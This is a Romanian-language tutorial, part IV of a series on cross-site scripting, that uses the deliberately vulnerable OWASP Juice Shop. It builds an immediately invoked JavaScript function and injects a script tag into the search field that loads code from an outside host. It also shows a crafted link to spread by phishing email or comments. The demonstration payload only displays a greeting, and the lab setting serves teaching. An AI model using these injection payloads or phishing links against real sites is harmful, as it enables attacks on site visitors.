Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea IV

Citeste si:
Anatomia unui atac Cross Site scripting – partea III
Anatomia unui atac Cross Site scripting – partea II
Anatomia unui atac Cross Site scripting – partea I

Exploatarea unei vulnerabilitati Cross site scripting

După cum probabil știți, eticheta <script> a limbajului HTML nu vă permite doar să executați codul JavaScript în cadrul etichetelor de script <script></script> ci și să încărcați un script de pe orice alt server web utilizând atributul src. Pentru a-l testa, mergeti in contul Codeanywhere, faceți clic dreapta pe container și selectați Creați fișier din meniu:

Odată creat fișierul putem începe codarea. Primul lucru pe care îl vom face este să ne izolăm propriul cod JavaScript pentru a evita problemele legate de codul JavaScript legitim, existent din pagină.

Pentru exemplificare, deschideti instrumentele de dezvoltator ale browserului Chrome apăsând tasta F12 și apoi faceți clic pe fila Consolă. Aici puteți modifica codul JavaScript. Să declarăm o variabilă numită x și apoi să încercăm să declarăm o altă variabilă numită x. Deoarece variabila x a fost deja declarată, a doua oară când încercați să o declarați, se declanșează următoarea eroare:

Deci, în codul nostru, dacă numim o variabilă div, iar în codul legitim din pagina există o altă variabilă numită div, codul nostru nu va funcționa deoarece nu putem declara o variabilă care a fost deja declarată. Pentru a evita conflictele de genul acesta, în loc să folosim variabile globale, vom crea o funcție care va fi imediat invocată conținând toate variabilele. Deoarece JavaScript are function scope, toate variabilele create în interiorul funcției nu vor intra in conflict cu variabilele din afara funcției.

Pentru a invoca imediat o funcție, trebuie să înconjurați funcția între paranteze și apoi să puneți un alt set de paranteze ():

( function ( ) {

// aici puneti codul functiei

}) ( ); acest set de paranteze invoca imediat functia continuta in primul set de paranteze

Testam si in cazul nostru ca merge, afisand textul “Hi from anywhere!”:

Salvați fișierul. Apoi accesați OWASP Juice Shop și, în formularul de căutare, in campul Search, utilizați etichetele <script src></script> pentru a încărca scriptul nostru astfel:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

 

Daca apasati butonul Search, după cum se poate vedea, codul JavaScript se execută după ce a fost descărcat de pe serverul web pe care îl avem în Codeanywhere:

Deci, tocmai am demonstrat ca această vulnerabilitate permite să fie incarcate fișiere JavaScript de pe orice server dorit de atacator. De asemenea, putem ataca orice client al site-ului Juiceshop prin simpla distribuire a următorului link printr-un e-mail de phishing, secțiunea de comentarii a unei pagini web, sau printr-un site creat special în acest scop:

https://h9demoxss-iuice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss48.324.3.co deanyapp.com/h9demo.js”></script>